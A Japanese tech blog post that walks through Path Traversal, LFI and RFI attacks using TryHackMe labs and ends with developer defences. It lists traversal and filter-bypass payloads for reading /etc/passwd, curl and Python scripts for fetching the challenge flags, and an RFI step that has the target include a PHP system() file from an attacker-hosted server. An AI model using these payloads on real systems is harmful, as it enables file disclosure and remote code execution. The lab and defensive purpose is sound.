1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】File Inclusion(Path Traversal / LFI / RFI)まとめ — 攻撃・解析・回避(実践ガイド)

Posted at

概要

Web アプリがファイルをパラメータから読み込む設計(例:?file=…)をしていると、Path Traversal(ディレクトリ横断)Local File Inclusion(LFI)Remote File Inclusion(RFI) といった脆弱性が発生しやすい。
これらを放置すると、情報漏洩(/etc/passwd など)、認証情報漏洩、場合によっては RCE(遠隔コマンド実行)につながる。


基本概念(サクッと)

  • Path Traversal / Directory Traversal
    ../ を用いてアプリの想定パスを遡り、意図しないファイルを参照する攻撃。
  • LFI(Local File Inclusion)
    include, require 系関数にユーザ入力が直接渡されると、サーバ上のローカルファイルを読み込まれたり、場合によっては実行される。
  • RFI(Remote File Inclusion)
    allow_url_fopenallow_url_include が有効だと、外部の URL を include("http://attacker/...") のように読み込み、攻撃者の PHP を実行される可能性がある(RCE に直結する危険性が高い)。

PHPで凡ミスを誘発する関数(代表)

  • file_get_contents() — 単純なファイル読み取りでパストラバの入口になりうる。
  • include(), require(), include_once(), require_once() — LFI/RFI の典型的な入口。

(※問題文でも file_get_contentsinclude 系が挙がっていました)


攻撃手順(よくある探索フロー)

  1. 入力ポイントの同定:GET/POST/COOKIE/ヘッダ/ファイルアップロードのどれか。
  2. 正常入力で挙動確認:想定されたファイルが読み込まれるか。
  3. エラーやメッセージを観察:パスや拡張子の情報、ベースディレクトリなどのヒントを得る。
  4. トラバ/インクルードを試す../、絶対パス、NULLバイト、フィルタバイパス等を試す。
  5. 成功すればファイル閲覧、場合によっては RCE を目指す

実践的なペイロード(例)

  • 基本的なパストラバ:

    ?file=../../../../etc/passwd
    
  • NULL バイト(古い PHP / 一部ケース):

    ?file=../../../../etc/passwd%00
    

    → 末尾の .php などの追記を無視させる目的で使えることがある(PHP 5.3.4 以降では無効化済みのことが多い)。

  • ディレクトリ末尾 trick(フィルタ回避):

    ?file=/etc/passwd/
    ?file=/etc/passwd/.
    
  • フィルタが ../ を単純置換している場合の回避:

    ?file=....//....//etc/passwd
    

    ../ の単純検索・置換ルーチンを騙すテクニック)

  • include に languages/ のようなプレフィックスが強制される場合:

    ?lang=languages/../../../../../etc/passwd
    
  • Cookie 経由、POST 経由、ヘッダ経由など、入力チャネルを変える(たまに GET はフィルタ強化、他は盲点だったりする)。


エラーメッセージの読み方(重要)

エラーは攻撃者への一時的ギフト:

Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

上の例から分かること:

  • 実行中の include の形式は include(languages/<input>.php) であること
  • ドキュメントルートや相対パス(/var/www/html/THM-4/)が分かる場合がある

→ エラーから「拡張子が .php で固定」「languages ディレクトリに追加」「アプリの実行パス」などを見抜いて、ペイロードを調整する。


LFI の拡張テクニック(よく使う)

  • ログファイル注入 → include:ログ(アクセスログ、アプリログ)に PHP シェルコードを残し、そのログファイルを include させて RCE を取るパターン。
  • ファイルアップロード + include:任意ファイルを書き込める機能があれば、そのファイルを include して実行。
  • 環境変数やセッションを起点に読む/proc/self/environ で環境変数を読み、そこにユーザ入力が反映されるケースを狙う。

RFI(Remote File Inclusion)と RCE

  • allow_url_fopen / allow_url_include が有効 → 外部 URL を include() で読み込み可能。
  • 攻撃の流れ:
    1. 攻撃者が <?php system('hostname'); ?> 等を置いたファイルを自サーバ(例:http://attacker/cmd.php)に置く。
    2. ターゲットに ?file=http://attacker/cmd.php を送る。
    3. ターゲットが外部を fetch して include() すると攻撃者のコードが実行され、RCE 発生。
  • 実演では、簡易 HTTP サーバ(python3 -m http.server 8080 --directory /tmp)で攻撃用 PHP を配信し、playground.php?file=http://<attacker>:8080/rce.txt のようにして system('hostname') を実行させている。

Lab(TryHackMe 系)の実例と解法メモ

下は問題文に出てきた VM / Lab の操作ログや解法を整理したもの。自分で演習するときにコピペで使えるコマンド入り。

Lab#1(GETで /lab1.php?file=/etc/passwd

GET /lab1.php?file=/etc/passwd

あるいは URL エンコード:

http://x.x.x.x/lab1.php?file=%2Fetc%2Fpasswd

Lab#2(include の directory が includes

エラーメッセージから include(includes/<input>) の形だと分かる → includes/../../.. などで脱出を試みる。

Lab#3(.php が末尾に強制付加)

ソースが include("languages/".$_GET['lang'].".php") などで .php が付く場合、NULL バイト %00 を使えば後続を切れる——ただしモダンな PHP では機能しない場合が多い。

例(試行):

/lab3.php?file=../../../../etc/passwd%00

(古い環境で有効)

※Lab の解答例として、問題文に示された /lab3.php?file=../../../../etc/passwd などが挙げられていました。

Lab#4(フィルタ:../ を消す)

アプリが ../ を検出して単純に置換している場合、....//....// のようなトリックが効くことがある:

?file=....//....//etc/passwd

Lab#5(複雑なフィルタバイパス)

上と似た方針で、フィルタの挙動を観察して複数手法(/. /%00 ....// 等)を試す。

Lab#6(入力に THM-profile ディレクトリの存在を要求)

Server からの指示に従って THM-profile/../../../../../etc/os-release のように対象ファイルを指定:

  • 読み取り例(/etc/os-releaseVERSION_ID 抜き出し):
THM-profile/../../../../../etc/os-release

結果例(Lab の出力):

VERSION_ID="12.04"

Challenge(flag 取得の具体例)

  • Flag1(/etc/flag1)を POST で送る例:
curl -X POST 'http://x.x.x.x/challenges/chall1.php' \
  -d 'file=/etc/flag1' -s -o response.html
# response.html を確認 → <code>F1x3d-iNpu7-f0rrn</code>
  • Flag2(Cookie 経由で LFI):
# Python requests 例
import requests, re
url = 'http://x.x.x.x/challenges/chall2.php'
cookie = {"THM":"../../../../etc/flag2%00"}
r = requests.get(url, cookies=cookie)
# HTML から <code>...</code> を抽出して表示
  • Flag3(POST + NULLバイト):
data = {"file":"../../../../etc/flag3\x00"}
requests.post('http://x.x.x.x/challenges/chall3.php', data=data)
  • Playground(RFI による hostname 実行:RCE)

    1. /tmp に rce.txt を置く:

      <?php echo system('hostname'); ?>
      
    2. 攻撃マシンで HTTP サーバ起動:

      python3 -m http.server 8000 --directory /tmp
      
    3. ターゲットにアクセス(RFI):

      http://<TARGET>/playground.php?file=http://<ATTACKER>:8000/rce.txt
      
    4. レスポンスに hostname の結果(例: lfi-vm-thm-f8c5b1a78692)が返る。

補足:実環境で RFI を試すのは 絶対に許可された環境でのみ。TryHackMe / 自室ラボ以外で許可無しに行うのは不法行為です。


防御(開発者向け — 実務で効く対策)

  1. ホワイトリスト方式:受け入れるファイル名/ID を限定する(例:lang in ['EN','JP','AR'])。
  2. 絶対パスではなく ID→マップで変換?file=1 → サーバ側で安全なパスへマッピング。
  3. エラーメッセージは無効化:詳細スタックやパスを公開しない(display_errors=Off)。
  4. allow_url_fopen / allow_url_include をオフに:RFI を防ぐ重要な設定。
  5. ファイルアクセスに権限を与えすぎない:ドキュメントルート外の重要ファイルを読み込めない権限設定。
  6. 入力バリデーションと正規化realpath() 等でパスを正規化して、想定外パスかどうかチェック。
  7. WAF の導入:既知のパターンや異常なパターンをブロックする。
  8. ログを見て異常検知:頻繁な ../ 試行などを検知してアラートを出す。
  9. アップデート:古い PHP(NULLバイト脆弱性等)を使っていると余計に危険。常に最新安定版へ。

よくある落とし穴・実践上の注意

  • NULL バイト (%00) は古い PHP でしか機能しないことが多い。現代の PHP では期待どおり動かない
  • 単純な文字列置換でフィルタしていると、....// 等のトリックで回避される可能性がある
  • 攻撃ベクトルは GET だけではなく、POST、Cookie、User-Agent、Referer、ファイルアップロードなど多岐に渡る
  • 開発中にエラー表示をオンにしていると、本番で重大な情報漏洩を招く(ディレクトリ構造や絶対パス露出など)

参考(学習リソース)

  • PortSwigger — Web Security Academy(File Inclusion, Path Traversal)
  • OWASP — File Inclusion / Path Traversal に関するドキュメント
  • TryHackMe — File Inclusion room

まとめ

  • File Inclusion 系は「入力をファイルパスとして扱う実装ミス」に起因する
  • 攻撃は単純だが危険度は高い(情報漏洩 → RCE へ連鎖することがある)
  • 開発者は ホワイトリスト+正規化+最小権限 を基本に設計し、セキュリティチェックを怠らないこと

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?